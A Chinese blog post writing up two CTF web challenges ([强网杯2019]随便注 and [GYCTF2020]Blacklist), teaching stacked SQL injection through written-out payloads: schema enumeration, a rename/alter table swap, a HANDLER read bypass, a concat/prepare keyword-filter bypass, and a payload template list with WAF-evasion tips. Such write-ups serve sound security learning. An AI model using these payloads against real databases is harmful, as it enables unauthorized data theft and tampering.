news 2026/6/1 8:00:02

从‘随便注’到‘Blacklist’:复盘两道经典CTF题,掌握堆叠注入的实战进阶思路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从‘随便注’到‘Blacklist’:复盘两道经典CTF题,掌握堆叠注入的实战进阶思路

从‘随便注’到‘Blacklist’:堆叠注入的实战进阶与深度对抗

在CTF竞赛的Web安全赛题中,SQL注入始终是最经典也最考验选手功底的题型之一。两道代表性题目——[强网杯2019]随便注和[GYCTF2020]Blacklist 1,恰好构成了堆叠注入技术从入门到精进的完美学习路径。本文将带您深入这两道题目的内核,不仅还原解题过程,更揭示其中渗透的Web安全对抗哲学。

1. 堆叠注入基础与随便注的经典解法

堆叠注入(Stacked Injection)作为SQL注入的高级形式,允许攻击者通过分号分隔执行多条SQL语句。这种技术在[强网杯2019]随便注中得到了典型展现。

首先通过基础探测确定注入点类型:

1' # 测试字符型注入 1' and 1=1 -- - # 确认闭合方式

接下来使用堆叠查询枚举数据库结构:

1';show databases; -- - 1';show tables; -- -

发现存在两个关键表:words1919810931114514(后者命名显然是为了增加难度)。通过字段检查:

1';show columns from `words`; -- - 1';show columns from `1919810931114514`; -- -

此时传统SELECT查询被过滤,但聪明的解法是利用表操作:

  1. 备份原表结构:确认words表包含id和data字段
  2. 重命名操作
    1';rename table `words` to `temp`; rename table `1919810931114514` to `words`; alter table `words` change `flag` `data` varchar(100); -- -
  3. 触发查询:后续常规查询将直接返回flag

这种通过ALTER/RENAME绕过过滤的思路,展现了SQL注入中"曲线救国"的经典思维。但Blacklist题目将这种思路彻底封杀,迫使我们寻找更高级的解法。

2. Blacklist的过滤机制与突破路径

[GYCTF2020]Blacklist 1在随便注的基础上进行了全面升级。初始探测步骤相似:

1';show databases; -- - 1';show tables; -- - # 发现FlagHere表 1';show columns from FlagHere; -- - # 确认flag字段

但当尝试使用RENAME/ALTER时,发现关键命令被过滤。通过代码审计(或错误回显)可发现过滤规则:

preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);

这个黑名单几乎封杀了所有常规注入手段。此时需要寻找非常规的SQL特性,这就是HANDLER命令的用武之地。

3. HANDLER命令的深度解析与应用

HANDLER是MySQL中一种比SELECT更底层的行读取接口,其特点包括:

  • 绕过SELECT过滤:不在常见WAF监控范围内
  • 直接访问存储引擎:性能更高,控制更细粒度
  • 操作流程固定:OPEN→READ→CLOSE的标准流程

具体到本题的利用,构造如下攻击链:

1';handler FlagHere open; handler FlagHere read first; handler FlagHere close; -- -

这个payload的执行逻辑是:

  1. 打开FlagHere表的句柄
  2. 读取第一行数据(通常就是flag)
  3. 关闭句柄释放资源

相比随便注的解法,HANDLER方式具有以下优势:

对比维度RENAME/ALTER解法HANDLER解法
命令复杂度需要多步操作单命令直接读取
被过滤风险
适用场景需要写权限只需读权限
对原数据影响会修改表结构完全无痕

4. 堆叠注入的进阶对抗思维

从这两道题目的演进,我们可以提炼出Web安全对抗的核心方法论:

  1. 信息收集阶段

    • 确定注入类型(字符/数字型)
    • 枚举数据库结构(show命令)
    • 分析过滤规则(错误回显/代码审计)
  2. 绕过设计阶段

    • 尝试常规绕过(大小写/注释)
    • 寻找替代语法(HANDLER代替SELECT)
    • 利用数据库特性(PREPARE动态执行)
  3. 最终利用阶段

    • 选择最稳妥的利用方式
    • 构造精准的payload
    • 考虑对抗WAF的变形方案

在Blacklist这道题中,如果HANDLER也被过滤,还可以考虑以下进阶方案:

1';set @sql=concat('sel','ect flag from FlagHere');prepare stmt from @sql;execute stmt; -- -

这种通过字符串拼接+预处理语句的方式,能绕过大多数基于关键词的过滤系统。

5. 实战中的注意事项与技巧

在真实CTF竞赛或渗透测试中,堆叠注入的利用还需要注意:

  • 权限限制:某些环境下堆叠查询可能被禁用
  • 错误处理:合理利用错误回显获取信息
  • 盲注场景:当堆叠查询无回显时,需要结合时间盲注
  • WAF绕过:使用注释符和特殊编码规避检测

一个实用的技巧是保存常用payload模板:

# 堆叠注入探测模板 payloads = [ "';show databases -- -", "';show tables -- -", "';show columns from `table_name` -- -", "';handler `table_name` open; read first; close -- -" ]

在靶场练习时,建议先系统测试各种SQL语句的过滤情况,制作自己的"命令白名单",这对比赛中的快速解题至关重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/1 7:56:51

Arm Neoverse N2性能监控架构与PMU寄存器详解

1. Arm Neoverse N2性能监控架构概述 在现代处理器设计中,性能监控单元(PMU)扮演着至关重要的角色。作为Arm Neoverse N2核心的关键组件,PMU提供了对处理器内部行为的深度洞察能力。与传统的软件性能分析工具不同,PMU通过硬件级计数器实现了近…

作者头像 李华
网站建设 2026/6/1 7:52:58

面试官最爱问的Kadane算法,我用Python和Java两种写法5分钟讲透

面试官最爱问的Kadane算法:Python与Java双语言实战解析在技术面试中,算法问题往往是考察候选人编程思维和问题解决能力的重要环节。而Kadane算法作为动态规划的经典案例,频繁出现在各大公司的面试题库中。本文将带你深入理解这一算法的精髓&a…

作者头像 李华
网站建设 2026/6/1 7:48:07

百度网盘真实下载地址解析技术方案:突破官方限速的技术实现路径

百度网盘真实下载地址解析技术方案:突破官方限速的技术实现路径 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 面对百度网盘官方客户端对非会员用户实施的下载限速…

作者头像 李华
网站建设 2026/6/1 7:47:52

三步解锁百度网盘真实下载链接:告别限速的完整方案

三步解锁百度网盘真实下载链接:告别限速的完整方案 【免费下载链接】baidu-wangpan-parse 获取百度网盘分享文件的下载地址 项目地址: https://gitcode.com/gh_mirrors/ba/baidu-wangpan-parse 还在为百度网盘那令人抓狂的下载速度而烦恼吗?每次下…

作者头像 李华
网站建设 2026/6/1 7:43:05

STM32F103驱动5V继电器,为什么你的灯不亮?从共地到电源的避坑实战

STM32F103驱动5V继电器:从硬件设计到故障排查的完整指南第一次尝试用STM32F103驱动5V继电器时,我遇到了一个令人困惑的问题——继电器纹丝不动。按照网上的教程连接好电路,代码也写得没问题,但就是无法控制继电器的开关。后来才发…

作者头像 李华